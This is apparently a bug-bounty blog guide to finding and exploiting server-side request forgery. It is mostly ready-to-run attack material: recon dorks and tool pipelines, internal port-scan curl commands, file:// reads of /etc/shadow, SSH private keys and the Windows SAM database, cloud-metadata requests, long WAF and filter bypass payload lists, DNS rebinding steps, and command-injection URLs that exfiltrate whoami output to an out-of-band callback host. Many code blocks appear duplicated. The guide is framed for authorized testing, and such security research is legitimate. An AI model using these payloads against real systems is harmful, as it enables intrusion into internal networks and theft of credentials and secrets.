October 24, 2026
The Ultimate Guide to SSRF: Hunting, Bypassing and Exploiting in Modern Bug Bounty
A complete, hands-on guide to hunting hidden SSRF vulnerabilities, bypassing WAFs and filters and escalating impact from cloud metadataβ¦

By ππ€π¨π©π¨ππ
18 min read
A complete, hands-on guide to hunting hidden SSRF vulnerabilities, bypassing WAFs and filters and escalating impact from cloud metadata exposure to RCE
Introduction
Server-Side Request Forgery (SSRF) is a web vulnerability that tricks a server into sending requests to unintended destinations. Features like PDF generation, link previews, image processing and webhooks can become entry points if user input isn't properly validated. SSRF can expose internal services, leak cloud credentials and sometimes lead to remote code execution (RCE). In 2019, an SSRF flaw played a key role in the Capital One breach, exposing data belonging to over 100 million customers.
In this guide, I'll walk you through the exact methodology I use to hunt SSRF across bug bounty programs.
What is Server-Side Request Forgery (SSRF)?
Server-Side Request Forgery (SSRF) occurs when an application accepts a user-supplied URL or partial URL and fetches it from the server without proper validation. The server acts as a proxy, sending requests on the attacker's behalf using its own network access, service-account credentials, and connections to internal infrastructure that may not be accessible from the internet. This allows attackers to reach internal services and resources without directly connecting to them, potentially exposing sensitive data, cloud credentials and other systems.
What SSRF can lead to:
- Internal Port Discovery: mapping services running behind the firewall.
- Local File Exposure: reading sensitive files via the file:// scheme.
- Internal Service Access: hitting unauthenticated admin panels, internal APIs and dashboards.
- Remote Code Execution (RCE): writing webshells via Redis, Memcached or other internal services reachable over gopher/dict.
- Cloud Metadata Exposure: stealing AWS, GCP and Azure credentials from instance metadata endpoints.
- Attack Chain Amplification: triggering stored XSS, CSRF or cache poisoning through server-side rendering.
The Three Types of SSRF: In-Band, Semi-Blind and Blind
- In-Band (Regular) SSRF: The server fetches the attacker-supplied URL and returns the response body directly in the HTTP response. This is the easiest variant to detect and exploit because you can see the returned content and test different payloads with immediate feedback.
- Blind SSRF: The server makes the request but does not return the response content to the attacker. Detection relies on out-of-band (OOB) interaction tools like Interactsh or Burp Collaborator, which record DNS or HTTP callbacks from the target server. Further testing may involve timing differences, chained vulnerabilities, or other techniques to determine the impact.
- Semi-Blind / Time-Based SSRF: The response body isn't returned, but indirect clues can reveal information about internal systems. Differences in response times, HTTP status codes and error messages can help identify reachable services and infer internal network details.
Phase 1: Target Reconnaissance & Asset Discovery
SSRF hunting starts with proper recon. First, map the target, discover active subdomains and gather both live and historical endpoints. Focus on finding features that fetch URLs or load remote resources, as these are the most promising places to look for SSRF.
1. High-Impact Google Dorks
Use these targeted Google dorks to identify potential SSRF entry points across in-scope subdomains by searching for URL-fetching parameters, redirect handlers, proxy routes, external resource loaders and file-processing endpoints.
site:*.target.com inurl:"url="
site:*.target.com inurl:"redirect="
site:*.target.com inurl:"?next=http"
site:*.target.com inurl:"img_url="
site:*.target.com inurl:"load.php?url="
site:*.target.com inurl:"api.php?url="
site:*.target.com inurl:"fetch?uri="
site:*.target.com inurl:"file=http"
site:*.target.com inurl:"src=http"
site:*.target.com inurl:"devUrl="
site:*.target.com inurl:"returnUrl="
site:*.target.com inurl:"/redirect?target="
site:*.target.com inurl:"/api/load?uri="
site:*.target.com inurl:"?open=http"
site:*.target.com inurl:"proxy?path="
site:*.target.com inurl:"?data=http"
site:*.target.com inurl:"external?link="
site:*.target.com inurl:"endpoint=http"
site:*.target.com inurl:"external?url="
site:*.target.com inurl:"src=http" filetype:xml
site:*.target.com inurl:"url=" filetype:pdf
site:*.target.com inurl:"callbackUrl=http"
site:*.target.com inurl:"?background=http"
site:*.target.com inurl:"?continue=http"
site:*.target.com inurl:"?referenceUrl=http"site:*.target.com inurl:"url="
site:*.target.com inurl:"redirect="
site:*.target.com inurl:"?next=http"
site:*.target.com inurl:"img_url="
site:*.target.com inurl:"load.php?url="
site:*.target.com inurl:"api.php?url="
site:*.target.com inurl:"fetch?uri="
site:*.target.com inurl:"file=http"
site:*.target.com inurl:"src=http"
site:*.target.com inurl:"devUrl="
site:*.target.com inurl:"returnUrl="
site:*.target.com inurl:"/redirect?target="
site:*.target.com inurl:"/api/load?uri="
site:*.target.com inurl:"?open=http"
site:*.target.com inurl:"proxy?path="
site:*.target.com inurl:"?data=http"
site:*.target.com inurl:"external?link="
site:*.target.com inurl:"endpoint=http"
site:*.target.com inurl:"external?url="
site:*.target.com inurl:"src=http" filetype:xml
site:*.target.com inurl:"url=" filetype:pdf
site:*.target.com inurl:"callbackUrl=http"
site:*.target.com inurl:"?background=http"
site:*.target.com inurl:"?continue=http"
site:*.target.com inurl:"?referenceUrl=http"Pro Tip****: Combine multiple dorks with OR in a single query to speed up manual dorking. Pipe results into a file and deduplicate before testing.
2. Subdomain Discovery & Live Asset Probing
Use subfinder to find subdomains, then pipe the results into httpx tookit to identify live hosts and detect their technologies.
subfinder -d target.com -all -silent | httpx-toolkit -silent -sc -title -tech-detect -o live_assets.txtsubfinder -d target.com -all -silent | httpx-toolkit -silent -sc -title -tech-detect -o live_assets.txt3. Endpoint Collection & SSRF Candidate Filtering
Use gau to collect URLs from historical archives, then filter for potential SSRF parameters with gf ssrf pattren and clean duplicate or unwanted URLs using uro.
cat alive_subs.txt | gau --threads 10 | gf ssrf | uro | tee ssrf_candidates.txtcat alive_subs.txt | gau --threads 10 | gf ssrf | uro | tee ssrf_candidates.txtGFpattren/ssrf.json at main Β· coffinxp/GFpattren Contribute to coffinxp/GFpattren development by creating an account on GitHub.
4. SSRF Detection with Interactsh
Use qsreplace to replace query parameter values with your Interactsh callback domain, then monitor for out-of-band interactions that may indicate SSRF.
cat ssrf_candidates.txt | qsreplace "http://c123456789.oast.fun" | httpx-toolkit -silent -mc 200 -clcat ssrf_candidates.txt | qsreplace "http://c123456789.oast.fun" | httpx-toolkit -silent -mc 200 -clInteractsh | Web Client Interactsh Web Client - Out of band Data Extraction tool
5. SSRF Parameter Fuzzing & Bypass Testing
Use ffuf with a custom SSRF test wordlist to test hidden URL-fetching parameters against different input variations and identify potentially vulnerable responses.
# Fuzz parameter names β discover undocumented parameters that accept URLs
ffuf -u "https://target.com/?FUZZ=http://127.0.0.1" -w ssrf_params.txt
# Fuzz parameter values β test known SSRF parameters against bypass payloads
ffuf -u "https://target.com/proxy?url=FUZZ" -w ssrfBypass-payloads.txt -mc 200,302,500 -t 40# Fuzz parameter names β discover undocumented parameters that accept URLs
ffuf -u "https://target.com/?FUZZ=http://127.0.0.1" -w ssrf_params.txt
# Fuzz parameter values β test known SSRF parameters against bypass payloads
ffuf -u "https://target.com/proxy?url=FUZZ" -w ssrfBypass-payloads.txt -mc 200,302,500 -t 40payloads/ssrfBypass-payloads.txt at main Β· coffinxp/payloads Contribute to coffinxp/payloads development by creating an account on GitHub.
Nuclei Templates for SSRF
You can also use Nuclei with its Interactsh integration to automate out-of-band SSRF testing and detect potential blind SSRF vulnerabilities at scale.
Nuclei template for OOB SSRF detection:
nuclei -l ssrf_candidates.txt -t response-ssrf.yaml -o ssrf_confirmed.txt
nuclei -l urls.txt -tags ssrfnuclei -l ssrf_candidates.txt -t response-ssrf.yaml -o ssrf_confirmed.txt
nuclei -l urls.txt -tags ssrfnuclei-templates/dast/vulnerabilities/ssrf/response-ssrf.yaml at main Β·β¦ Community curated list of templates for the nuclei engine to find security vulnerabilities. β¦
Phase 2: Pinpointing High-Signal SSRF Vectors & Parameters
SSRF bugs are usually found in features that make the server fetch external data, such as URL previews, file imports, webhooks and content converters, rather than on regular webpages.
Top Real-World Features Prone to SSRF:
[Embedded content: cb93c0f152b68e215ff030f47737ad77]
Top SSRF Parameter Cheat Sheet
When reviewing API traffic in Burp Suite or filtering crawled URLs with gf ssrf, look for parameters that accept URLs, fetch remote content or connect to external services. These are the most promising places to investigate for SSRF.
[Embedded content: 324c9cccd6ccd842c9caf5d9d914de00]
Hidden Injection Points
SSRF isn't limited to query parameters. It can also occur through overlooked input points, such as HTTP headers, when backend services process them and make server-side requests. Test the following headers using a unique OAST URL to detect unexpected interactions:
GET /api/v1/user/profile HTTP/1.1
Host: target.com
Referer: http://YOUR_ID.oast.fun/
X-Forwarded-For: YOUR_ID.oast.fun
X-Forwarded-Host: YOUR_ID.oast.fun
X-Original-URL: http://YOUR_ID.oast.fun
True-Client-IP: YOUR_ID.oast.fun
Client-IP: YOUR_ID.oast.fun
curl -H "Referer: http://YOUR_ID.oast.fun" -H "X-Forwarded-For: YOUR_ID.oast.fun" https://target.com/GET /api/v1/user/profile HTTP/1.1
Host: target.com
Referer: http://YOUR_ID.oast.fun/
X-Forwarded-For: YOUR_ID.oast.fun
X-Forwarded-Host: YOUR_ID.oast.fun
X-Original-URL: http://YOUR_ID.oast.fun
True-Client-IP: YOUR_ID.oast.fun
Client-IP: YOUR_ID.oast.fun
curl -H "Referer: http://YOUR_ID.oast.fun" -H "X-Forwarded-For: YOUR_ID.oast.fun" https://target.com/- -H: Passes custom HTTP request headers to the web server.
Use Burp Suite's Collaborator Everywhere extension to automatically inject OAST payloads into HTTP headers and detect unexpected server-side interactions that may indicate SSRF vulnerabilities.
Collaborator Everywhere Augments your proxy traffic by injecting non-invasive headers designed to reveal backend systems by causing pingbacksβ¦
SSRF via SVG Image Processing
SVG files use XML to define images and can sometimes trigger SSRF when processed by a server. When an application converts uploaded SVG files into PNG or JPEG, the rendering library may process external references such as xlink:href. If these references cause the server to fetch external URLs or internal resources, the image conversion process could expose an SSRF vulnerability.
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://169.254.169.254/latest/meta-data/" height="200" width="200"/>
</svg><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="http://169.254.169.254/latest/meta-data/" height="200" width="200"/>
</svg>img-payloads/ssrf.svg at main Β· coffinxp/img-payloads Contribute to coffinxp/img-payloads development by creating an account on GitHub.
XXE leading to SSRF
If an XML parser allows external entity resolution, a crafted XML document can cause the server to fetch internal URLs. For example, an e-commerce website might let vendors upload XML files to import product information. If the backend parser is misconfigured, an attacker could craft an XML file that references an internal service, such as http://127.0.0.1:8080, potentially exposing resources that aren't accessible from the internet.
[Embedded content: 0b3ae3bb174830fee8beb8c071a46e33]
Common targets: XML-based file upload (DOCX, XLSX, SVG), SOAP APIs, RSS/Atom feed importers, SAML endpoints.
GraphQL Endpoints
GraphQL APIs can expose potential SSRF entry points through mutations that accept user-supplied URLs for tasks such as importing data, registering webhooks or fetching external assets. If these URLs aren't properly validated, the backend may make requests to unintended destinations.
mutation {
importData(sourceUrl: "http://169.254.169.254/latest/meta-data/") {
status
result
}
}
mutation {
setWebhook(url: "http://YOUR_ID.oast.fun/callback") {
id
active
}
}mutation {
importData(sourceUrl: "http://169.254.169.254/latest/meta-data/") {
status
result
}
}
mutation {
setWebhook(url: "http://YOUR_ID.oast.fun/callback") {
id
active
}
}Look for fields named: sourceUrl, webhookUrl, importUrl, fetchUrl, endpoint, targetUrl in the GraphQL schema. Use introspection queries to discover them.
WebSocket Proxying
WebSocket Proxying: Some applications forward WebSocket connections to backend services using a user-supplied target URL. If the destination isn't properly validated, attackers may be able to make the server connect to internal services, potentially exposing restricted resources.
GET /ws-proxy?target=ws://127.0.0.1:6379 HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: UpgradeGET /ws-proxy?target=ws://127.0.0.1:6379 HTTP/1.1
Host: target.com
Upgrade: websocket
Connection: UpgradeCRLF Injection to SSRF
If an application inserts user-controlled input into HTTP headers without properly sanitizing carriage returns and line feeds (\r\n), an attacker may manipulate the outgoing request and potentially redirect it to an unintended destination.
https://target.com/fetch?url=http://allowed.com%0d%0aHost:%20169.254.169.254https://target.com/fetch?url=http://allowed.com%0d%0aHost:%20169.254.169.254SSRF with Command Injection
Sometimes, a poorly handled URL parameter can lead to command injection. If the application passes user input directly to a system command, it may allow unintended command execution.
https://target.com/fetch?url=http://YOUR_ID.oast.fun?`whoami`
https://target.com/fetch?url=http://$(whoami).YOUR_ID.oast.funhttps://target.com/fetch?url=http://YOUR_ID.oast.fun?`whoami`
https://target.com/fetch?url=http://$(whoami).YOUR_ID.oast.funPhase 3: Probing & Detection (In-Band vs. Blind SSRF vs Semi-Blind)
Once you find an endpoint that accepts external URLs, test it systematically to see whether the server makes requests and how it handles the responses.
1. In-Band SSRF Confirmation
In In-Band SSRF, the server fetches the supplied URL and returns the response directly. To test, use a controlled endpoint and check whether its response content appears in the application's HTTP response.
curl -s -i "https://target.com/api/preview?url=http://YOUR_VPS:8080/test"curl -s -i "https://target.com/api/preview?url=http://YOUR_VPS:8080/test"On your VPS, run a simple HTTP listener:
python3 -m http.server 8080python3 -m http.server 8080If the application's response includes content returned by your controlled server, you have confirmed in-band SSRF.
2. Blind SSRF via Out-of-Band (OOB) Testing
For modern applications that process requests in the background, start with OAST tools like Interactsh or Burp Suite Collaborator to detect server-side requests that may not appear in the normal response.
Replace the parameter value with your unique Interactsh or Burp Collaborator domain, then monitor for out-of-band callbacks to check whether the server makes an external request.
curl -s -i "https://target.com/api/preview?url=http://wii4hca8hdswhkil43w623e7qywpkj88.oastify.com"curl -s -i "https://target.com/api/preview?url=http://wii4hca8hdswhkil43w623e7qywpkj88.oastify.com"- Β· -s: Runs curl silently without progress meters.
- Β· -i: Includes HTTP response headers in the terminal output.
Note****: Check your IP at WhatIsMyIP and compare it with the Collaborator callback IP. If they match, the request may be coming from your own system, not the target server.
Useful OOB Callback Tools:
- Interactsh: Detect out-of-band interactions, including DNS lookups and HTTP requests triggered by the target application.
- Webhook.site: Generate unique callback URLs and inspect incoming HTTP requests, headers, and request bodies.
- Burp Collaborator: Identify out-of-band interactions during web application security testing.
- RequestRepo: Capture and inspect incoming requests sent to generated endpoints, helping investigate external callbacks.
Pro Tip: If your listener logs a DNS interaction but never receives an HTTP GET request, the server performed a DNS resolution lookup without connecting to the port. Triage teams regularly downgrade pure DNS pings to "Informative". To prove high impact, test non-standard ports (:8080, :8443, :8000) or verify if an egress firewall is blocking outbound TCP connections.
3. Semi-Blind / Time-Based Detection
When OOB callbacks fail (egress firewall, no DNS), use timing and behavioral differences:
| Test | What to Observe |
| --------------------------------------------------------| ------------------------------------------------------------- |
| `url=http://127.0.0.1:22` (open port) | Fast response or possible SSH banner in the error |
| `url=http://127.0.0.1:65535` (closed port) | Connection refused or a different response time |
| `url=http://10.0.0.1` (potentially unreachable) | Timeout or a longer response time |
| `url=http://127.0.0.1:80` vs. `url=http://127.0.0.1:443`| Differences in response size, status codes, or error messages || Test | What to Observe |
| --------------------------------------------------------| ------------------------------------------------------------- |
| `url=http://127.0.0.1:22` (open port) | Fast response or possible SSH banner in the error |
| `url=http://127.0.0.1:65535` (closed port) | Connection refused or a different response time |
| `url=http://10.0.0.1` (potentially unreachable) | Timeout or a longer response time |
| `url=http://127.0.0.1:80` vs. `url=http://127.0.0.1:443`| Differences in response size, status codes, or error messages |Compare response times, content lengths and error messages across open ports, closed ports and non-routable IPs. Consistent differences confirm the server is making internal requests.
Internal Port Scanning & Service Mapping
After confirming SSRF, test access to 127.0.0.1 and internal network ranges to identify potentially exposed internal services that lack authentication:
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:22" # SSH
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:80" # HTTP
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:443" # HTTPS
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:3306" # MySQL
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:5432" # PostgreSQL
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:6379" # Redis
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:8080" # App server
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:8443" # Alt HTTPS
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:9000" # PHP-FPM
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:9200" # Elasticsearch
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:11211" # Memcached
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:27017" # MongoDBcurl -s -i "https://target.com/proxy?url=http://127.0.0.1:22" # SSH
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:80" # HTTP
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:443" # HTTPS
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:3306" # MySQL
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:5432" # PostgreSQL
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:6379" # Redis
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:8080" # App server
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:8443" # Alt HTTPS
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:9000" # PHP-FPM
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:9200" # Elasticsearch
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:11211" # Memcached
curl -s -i "https://target.com/proxy?url=http://127.0.0.1:27017" # MongoDB- -s: Silent mode.
- -i: Includes HTTP response headers to observe status codes and content lengths.
You can also use Burp Suite Intruder with a common web ports wordlist to test for accessible internal services, identifying potentially exposed ports and unauthenticated services.
payloads/common-web-ports.txt at main Β· coffinxp/payloads Contribute to coffinxp/payloads development by creating an account on GitHub.
Also test internal network ranges:
# Common private ranges
curl -s -i "https://target.com/proxy?url=http://10.0.0.1"
curl -s -i "https://target.com/proxy?url=http://172.16.0.1"
curl -s -i "https://target.com/proxy?url=http://192.168.1.1"# Common private ranges
curl -s -i "https://target.com/proxy?url=http://10.0.0.1"
curl -s -i "https://target.com/proxy?url=http://172.16.0.1"
curl -s -i "https://target.com/proxy?url=http://192.168.1.1"4. Reading Local Files
If the backend URL fetcher or document renderer supports the file:// scheme, test whether it can access local files on the server, potentially exposing sensitive data.
Sensitive Linux File Disclosure
curl -s "https://target.com/file?url=file:///proc/self/environ" # Environment variables (often contain secrets)
curl -s "https://target.com/file?url=file:///etc/shadow" # Password hashes (requires root)
curl -s "https://target.com/file?url=file:///root/.ssh/id_rsa" # SSH private key
curl -s "https://target.com/file?url=file:///root/.bash_history" # Command history
curl -s "https://target.com/file?url=file:///proc/1/environ" # Init process environment variables
curl -s "https://target.com/file?url=file:///etc/sudoers" # Privilege escalation paths
curl -s "https://target.com/file?url=file:///etc/passwd" # User enumeration
curl -s "https://target.com/file?url=file:///proc/self/cmdline" # Current process command line
curl -s "https://target.com/file?url=file:///proc/net/tcp" # Active TCP connections
curl -s "https://target.com/file?url=file:///var/log/auth.log" # Authentication logscurl -s "https://target.com/file?url=file:///proc/self/environ" # Environment variables (often contain secrets)
curl -s "https://target.com/file?url=file:///etc/shadow" # Password hashes (requires root)
curl -s "https://target.com/file?url=file:///root/.ssh/id_rsa" # SSH private key
curl -s "https://target.com/file?url=file:///root/.bash_history" # Command history
curl -s "https://target.com/file?url=file:///proc/1/environ" # Init process environment variables
curl -s "https://target.com/file?url=file:///etc/sudoers" # Privilege escalation paths
curl -s "https://target.com/file?url=file:///etc/passwd" # User enumeration
curl -s "https://target.com/file?url=file:///proc/self/cmdline" # Current process command line
curl -s "https://target.com/file?url=file:///proc/net/tcp" # Active TCP connections
curl -s "https://target.com/file?url=file:///var/log/auth.log" # Authentication logsSensitive Windows File Disclosure
curl -s "https://target.com/file?url=file:///C:/inetpub/wwwroot/web.config" # IIS website configuration (may contain credentials)
curl -s "https://target.com/file?url=file:///C:/Windows/System32/inetsrv/config/applicationHost.config" # IIS server configuration
curl -s "https://target.com/file?url=file:///C:/Users/Administrator/.ssh/id_rsa" # Administrator SSH private key
curl -s "https://target.com/file?url=file:///C:/Windows/System32/config/SAM" # Windows account password hashes databasecurl -s "https://target.com/file?url=file:///C:/inetpub/wwwroot/web.config" # IIS website configuration (may contain credentials)
curl -s "https://target.com/file?url=file:///C:/Windows/System32/inetsrv/config/applicationHost.config" # IIS server configuration
curl -s "https://target.com/file?url=file:///C:/Users/Administrator/.ssh/id_rsa" # Administrator SSH private key
curl -s "https://target.com/file?url=file:///C:/Windows/System32/config/SAM" # Windows account password hashes databaseSSRFmap: Automated SSRF Testing Tool
You can use the SSRFmap tool to detect and exploit potential SSRF vulnerabilities.
GitHub β swisskyrepo/SSRFmap: Automatic SSRF fuzzer and exploitation tool Automatic SSRF fuzzer and exploitation tool. Contribute to swisskyrepo/SSRFmap development by creating an account onβ¦
Phase 4: Advanced Filter, WAF & Whitelist Bypasses
In professional bug bounty targets, entering 127.0.0.1 or localhost will almost always be blocked by WAFs, regex filters or application firewalls. Here is how you can bypass those validation.
1. IP Representation & Encoding Matrix
IP addresses can be written in different numerical formats and some applications may handle these formats differently. If a filter only checks familiar IP strings, alternative representations may help reveal weaknesses in URL validation:
[Embedded content: 5e8cc7e36fe0df686f19ee885a476a9d]
Here are some additional localhost variations for testing SSRF filter bypasses.
#Basic Payloads
http://127.0.0.1:port
http://localhost:port
https://127.0.0.1:port
https://localhost:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]
http://0/
http://127.1
http://127.0.1
#Bypass using HTTPS
https://127.0.0.1/
https://localhost/
#Bypass with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
#Bypass with a domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
#Bypass with CIDR
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
#Bypass using a decimal IP location
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
#Bypass using IPv6/IPv4 Address Embedding
http://[0:0:0:0:0:ffff:127.0.0.1]
#Bypass using malformed urls
localhost:+11211aaa
localhost:00011211aaaa
#Bypass using rare address
http://0/
http://127.1
http://127.0.1
#Bypass using URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
#Bypass using tricks combination
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
#Bypass using enclosed alphanumerics
http://ββ§βββββ.βββ = example.com
#Bypass filter_var() php function
0://evil.com:80;http://google.com:80/
#Bypass against a weak parser
@127.2.2.2:80/">http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
@127.2.2.2:80/">http://127.1.1.1:80#\@127.2.2.2:80/#Basic Payloads
http://127.0.0.1:port
http://localhost:port
https://127.0.0.1:port
https://localhost:port
http://[::]:port
http://0000::1:port
http://[0:0:0:0:0:ffff:127.0.0.1]
http://0/
http://127.1
http://127.0.1
#Bypass using HTTPS
https://127.0.0.1/
https://localhost/
#Bypass with [::]
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:22/ SSH
http://[::]:3128/ Squid
http://0000::1:80/
http://0000::1:25/ SMTP
http://0000::1:22/ SSH
http://0000::1:3128/ Squid
#Bypass with a domain redirection
http://spoofed.burpcollaborator.net
http://localtest.me
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://mail.ebc.apple.com redirect to 127.0.0.6 == localhost
http://bugbounty.dod.network redirect to 127.0.0.2 == localhost
#Bypass with CIDR
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
#Bypass using a decimal IP location
http://0177.0.0.1/
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1
http://2852039166/ = http://169.254.169.254
#Bypass using IPv6/IPv4 Address Embedding
http://[0:0:0:0:0:ffff:127.0.0.1]
#Bypass using malformed urls
localhost:+11211aaa
localhost:00011211aaaa
#Bypass using rare address
http://0/
http://127.1
http://127.0.1
#Bypass using URL encoding
http://127.0.0.1/%61dmin
http://127.0.0.1/%2561dmin
#Bypass using tricks combination
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/
urllib2 : 1.1.1.1
requests + browsers : 2.2.2.2
urllib : 3.3.3.3
#Bypass using enclosed alphanumerics
http://ββ§βββββ.βββ = example.com
#Bypass filter_var() php function
0://evil.com:80;http://google.com:80/
#Bypass against a weak parser
@127.2.2.2:80/">http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/
@127.2.2.2:80/">http://127.1.1.1:80#\@127.2.2.2:80/Weaponizing Alternative URI Schemes
When HTTP/HTTPS are blacklisted or heavily restricted, test alternative protocols supported by the server's backend libraries:
[Embedded content: 4d88c111bfc1caa4d76a8389926a1851]
2. DNS Rebinding Attacks
DNS rebinding is a clever SSRF bypass technique. Some applications validate a domain's IP address only once, allowing attackers to exploit changes in DNS resolution to reach internal services. Here's how it works:
- The server receives user input: http://attacker-controlled.com.
- The server performs a DNS lookup: attacker-controlled.com resolves to a public IP (93.184.216.34).
- The server checks the IP against a blacklist: It is a public IP, so the check passes!
- Server makes the actual HTTP request but performs a second DNS lookup
- Attacker's DNS server (TTL=0) now returns 127.0.0.1
- Server connects to 127.0.0.1 instead of the public IP
This is a classic Time-of-Check to Time-of-Use (TOCTOU) vulnerability.
Validation Lookup βββ DNS Server (TTL=0) βββ Returns 93.184.216.34 PASS
β
HTTP Fetch Lookup βββ DNS Server βββ Returns 127.0.0.1 EXPLOITEDValidation Lookup βββ DNS Server (TTL=0) βββ Returns 93.184.216.34 PASS
β
HTTP Fetch Lookup βββ DNS Server βββ Returns 127.0.0.1 EXPLOITEDUtilizing Public Rebinding Utilities:
Instead of configuring your own DNS server, use ready-made DNS rebinding services to test for potential SSRF vulnerabilities.
- Generate a rebinding URL: Visit the lock.cmpxchg8b.com website and enter the two IP addresses in the provided fields: 127.0.0.1 and the IP address of your VPS. Copy the generated URL.
- Verify connectivity: Use ping as an initial connectivity check, keeping in mind that some hosts block ICMP requests. A failed ping does not necessarily mean the host is unreachable.
- Check DNS resolution: Use nslookup to query the generated hostname multiple times and check whether it resolves to both configured IP addresses. DNS caching may affect the results.
- Test the SSRF parameter: In Burp Suite Repeater or with curl, submit the generated hostname to the suspected SSRF endpoint. Repeat the test and monitor the responses and DNS behavior.
- Investigate potential impact: If the hostname resolves to localhost after validation, test whether you can access an internal service and document the results.
rbndr.us dns rebinding service This page will help to generate a hostname for use with testing for dns rebinding vulnerabilities in software. To useβ¦
3. Wildcard DNS & nip.io Loopback Domains
When filters block IP addresses using string matching, test whether they also validate the IP a hostname resolves to. Some domains resolve to loopback addresses like 127.0.0.1, revealing weaknesses in URL validation and DNS-based filtering.
# nip.io dynamically resolves embedded IPs
curl -s "https://target.com/proxy?url=http://127.0.0.1.nip.io/"
curl -s "https://target.com/proxy?url=http://169.254.169.254.nip.io/"
# Well-known loopback domains
curl -s "https://target.com/proxy?url=http://localtest.me/"
curl -s "https://target.com/proxy?url=http://spoofed.burpcollaborator.net/"
curl -s "https://target.com/proxy?url=http://customer.localhost.company.127.0.0.1.nip.io/"# nip.io dynamically resolves embedded IPs
curl -s "https://target.com/proxy?url=http://127.0.0.1.nip.io/"
curl -s "https://target.com/proxy?url=http://169.254.169.254.nip.io/"
# Well-known loopback domains
curl -s "https://target.com/proxy?url=http://localtest.me/"
curl -s "https://target.com/proxy?url=http://spoofed.burpcollaborator.net/"
curl -s "https://target.com/proxy?url=http://customer.localhost.company.127.0.0.1.nip.io/"Welcome to nip.io / sslip.io nip.io / sslip.io
4. Parser Discrepancies & URL Confusion
Different HTTP client libraries (urllib, Python requests, Go net/http, Java java.net.URL, libcurl) parse characters like @, #, , and ; inconsistently. This allows attackers to trick validation regexes into thinking the domain is trusted while the underlying HTTP engine requests localhost:
| Technique | Payload | How the Parser Interprets It |
| ----------------------- | ---------------------------------------| ------------------------------------------------------------------------------------ |
| Credential confusion | http://target.com@127.0.0.1/target.com | target.com becomes the username; the host is `127.0.0.1`. |
| Fragment injection | http://127.0.0.1#@target.com/ | The fragment begins at `#`; parser differences may affect validation. |
| Backslash normalization | http://127.0.0.1\target.com/ | Some parsers normalize `\` to `/`. |
| Backslash (encoded) | http://127.0.0.1%5ctarget.com/ | Tests whether URL decoding or backslash normalization affects validation. |
| Path traversal | http://target.com/..;/127.0.0.1/ | Tests Tomcat-style path normalization behavior. |
| Port + credential | http://127.0.0.1:80@target.com/ | The host is generally `target.com`; `127.0.0.1:80` is parsed as user information. |
| Scheme confusion | 0://evil.com:80;http://target.com:80/ | Tests parser and validation inconsistencies; behavior depends on the implementation. |
| Double `@` | http://127.1.1.1:80\@@127.2.2.2:80/ | Tests how a parser handles multiple `@` signs and backslashes. || Technique | Payload | How the Parser Interprets It |
| ----------------------- | ---------------------------------------| ------------------------------------------------------------------------------------ |
| Credential confusion | http://target.com@127.0.0.1/target.com | target.com becomes the username; the host is `127.0.0.1`. |
| Fragment injection | http://127.0.0.1#@target.com/ | The fragment begins at `#`; parser differences may affect validation. |
| Backslash normalization | http://127.0.0.1\target.com/ | Some parsers normalize `\` to `/`. |
| Backslash (encoded) | http://127.0.0.1%5ctarget.com/ | Tests whether URL decoding or backslash normalization affects validation. |
| Path traversal | http://target.com/..;/127.0.0.1/ | Tests Tomcat-style path normalization behavior. |
| Port + credential | http://127.0.0.1:80@target.com/ | The host is generally `target.com`; `127.0.0.1:80` is parsed as user information. |
| Scheme confusion | 0://evil.com:80;http://target.com:80/ | Tests parser and validation inconsistencies; behavior depends on the implementation. |
| Double `@` | http://127.1.1.1:80\@@127.2.2.2:80/ | Tests how a parser handles multiple `@` signs and backslashes. |Note: Parser behavior varies by language, URL library and framework. Validate each case only in authorized testing environments.
